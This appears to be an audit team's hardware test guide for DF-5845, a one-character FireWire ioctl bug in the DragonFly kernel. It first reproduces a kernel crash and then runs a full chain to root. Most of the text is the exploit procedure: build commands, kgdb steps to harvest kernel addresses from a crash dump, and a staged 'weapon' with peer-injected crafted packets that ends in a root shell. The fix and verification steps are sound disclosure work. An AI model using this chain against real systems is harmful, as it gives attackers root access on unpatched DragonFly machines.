DF-5845 field test โ two DragonFly boxes and a FireWire cable
Who this is for: you have two DragonFly machines with FireWire ports, a cable between them, and about an hour. Everything below was validated end-to-end on a stock DragonFly 6.5 kernel in our test rig (uid=0 achieved, patched kernel proven clean, packets byte-verified). The only part that cannot be validated without your hardware is the FireWire controller itself โ this page tells you exactly what to expect at each step and what to send back if anything differs.
What the bug is, in one paragraph: the FireWire ioctl
FW_ASYREQ has a one-character typo in the kernel
(fwdev.c:561). It copies your ioctl data to the
address of a pointer field instead of to where the pointer points.
So 44 bytes you choose are written over the tail of a live kernel
object. A second step turns that into root: the same typo lets the
kernel's response copy for that transaction be redirected โ
so a FireWire response packet sent by the other machine is copied,
640 bytes at a time, into kernel memory you choose. The test drives
that write onto neighboring objects so the stack itself calls a small
credential-zeroing routine, and the user becomes root. The fix is to
delete one &.
The two machines
| Role | Machine | State at test time |
|---|---|---|
| VICTIM | DragonFly 6.x, stock kernel, FireWire port | Stock. Gets attacked. Will crash in Stage A (expected). |
| PEER | your second DragonFly box | Kernel rebuilt with the one-line fix (Step 2). Sends the response packets. The fix is required: a stock peer feeding it crafted packets would trip the same bug on itself. |
The kit lives in the audit bundle at
findings/poc/DF-5845/hwkit/ โ copy that directory to both
boxes (e.g. /root/hwkit). Full technical detail, including
alternative modes and troubleshooting beyond this page:
hwkit/RUNBOOK.md.
Step 1 โ victim prep (10 min)
kldload firewire dmesg | grep -i fwohci # expect: fwohci0: <...> on pciN ls -l /dev/fw0.0 # expect: crw-rw---- root operator sysctl debug.debugger_on_panic=0 pw useradd -n opuser -m -G operator -w none cd /root/hwkit && make df5845_hw fwpeer_df offsets_hw fwpeer_linux ./offsets_hw
offsets_hw prints a structure offset table. On
6.5-DEVELOPMENT x86_64 the first lines must read
off_devclass_devices 48 ... off_xfer_sendpayload 80.
If they differ, stop and send us the output โ the weapon constants
need adjusting for your build.
Step 2 โ peer prep (30 min, mostly build time)
# on the PEER box: cd /usr/src patch -p1 < /root/hwkit/fix.diff # the one-character fix make -j4 nativekernel && make installkernel reboot # after reboot: kldload firewire dmesg | grep -i fwohci cd /root/hwkit && make fwpeer_df fwpeer_linux
Cable the two boxes (point-to-point, no hubs). On both, run
fwcontrol -d or check dmesg | tail for
FWBUSCOMPLETION. Note each machine's node id from the
self-ID lines โ you will pass the PEER's node id to the weapon.
Step 3 โ wire check (Stage 0, no attack)
On the peer, in one terminal:
./fwpeer_linux --listen /dev/fw0
On the victim, as the test user:
su - opuser -c '/root/hwkit/df5845_hw --stage-a --peer-node <peer-id>'
Pass: the peer terminal prints a request within a second,
e.g. REQUEST #0 tcode=1 (write block) len=0.
If nothing arrives, the cable/node ids are wrong โ see RUNBOOK ยง7.
Step 4 โ Stage A: prove the bug (near-certain, this is the money shot)
Same as Step 3 but with the fault variant โ the 44-byte overwrite plants an unmapped pointer, and the peer answers with a perfectly legal response:
# peer, same terminal still in --listen, now answering: ./fwpeer_linux --respond /dev/fw0 # victim: su - opuser -c '/root/hwkit/df5845_hw --stage-a-fault --peer-node <peer-id>'
Pass: the victim console shows
Fatal trap 12: page fault with a backtrace through
fw_ioctl (the response copy at fwdev.c:583
dereferenced the planted pointer), and the box dumps and reboots.
That crash is the bug, reproduced on your hardware with a stock peer
and zero address knowledge. Save the console output and the crash dump
โ you need the dump for Step 5.
Then prove the fix: apply fix.diff to the
victim's /usr/src, rebuild, reboot (Step 2 procedure), and re-run
Stage A. Pass: no crash โ the ioctl returns an error or clean
timeout. That pair of results (crash before, clean after) is the
complete, self-contained verification of the finding and its fix.
If you stop here, the test has already served its purpose.
Step 5 โ harvest the two constants (from the Stage A crash dump)
The full chain needs two kernel addresses (the heap chunk the weapon will land at, and the FireWire softc). DragonFly has no KASLR and the driver's allocation order repeats across boots on an idle box, so addresses read from your Stage A dump predict the next boot:
kgdb /boot/kernel/kernel /var/crash/vmcore.last (kgdb) p firewire_devclass (kgdb) p ((struct devclass *)<val>)->devices[0] (kgdb) p ((struct bsd_device *)<val>)->softc (kgdb) p ((struct firewire_softc *)<val>)->fc # note as FC # parked xfer pair from the faulted attempt (tlabel from dmesg # "fw_get_tlabel" lines, or try the listed labels): (kgdb) p ((struct firewire_comm *)<FC>)->tlabels[<label>].tqh_first->xfer
Write gdb.conf next to the weapon:
s_addr <parked-xfer-address> fc <FC> peer_node <peer-id> victim_node <victim-id>
Step 6 โ Stage B: the full chain to root
On the victim (fresh boot, Stage A fault already done its job), as the test user:
su - opuser -c '/root/hwkit/df5845_hw --mode gdb --conf gdb.conf --peer-node <peer-id>'
It prints its plan, posts the two requests 100 ms apart, and writes
/tmp/df5845hw.forge.conf. The peer must inject in that
window (the kernel gives up on unanswered transactions after 200 ms),
so pre-build the packets and fire on the second REQUEST:
# peer, BEFORE the weapon runs:
./fwpeer_linux --make-df-packet --conf /tmp/df5845hw.forge.conf \
--out /root/pk --tl-s <tl-of-first-request> --tl-v <tl-of-second>
# watch for the two REQUEST lines, then immediately:
./fwpeer_df /root/pk/sresp.bin 1
./fwpeer_df /root/pk/vresp.bin 1
Pass: within ~2 seconds the weapon prints
DF5845HW[gdb]: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0 DF5845HW-CHAIN-WON: uid=0 euid=0 uid=0(root) ... egid=0(wheel)
and the file /root/df5845.pwned exists, owned root.
You now have a root shell as opuser.
No win but no crash? The chunk addresses shifted โ re-harvest from a fresh dump and retry (RUNBOOK ยง4). Random panic? Reboot and re-harvest; never re-run after a missed write without rebooting.
What to send back
Drop into hwkit/validation/ and mail the bundle:
- console/serial log of Stage A (the Fatal trap) and of the fixed re-run (no trap)
kgdbtranscript of Step 5 and the resultinggdb.conf- weapon stdout +
/root/df5845.pwnedcontent if Stage B landed ./offsets_hwoutput anduname -a; sysctl kern.ostypefrom both boxes- anything that deviated from the expected output above, verbatim
Files referenced by this page
- kit + full runbook:
findings/poc/DF-5845/hwkit/(RUNBOOK.md, fix.diff) - finding write-up: DF-5845 (lines, CVSS, verdicts, evidence)
- why CPU flags don't help:
findings/SMAP-SMEP-REVIEW.md(DF-5845 reached uid=0 with SMAP and SMEP both enabled in our rig)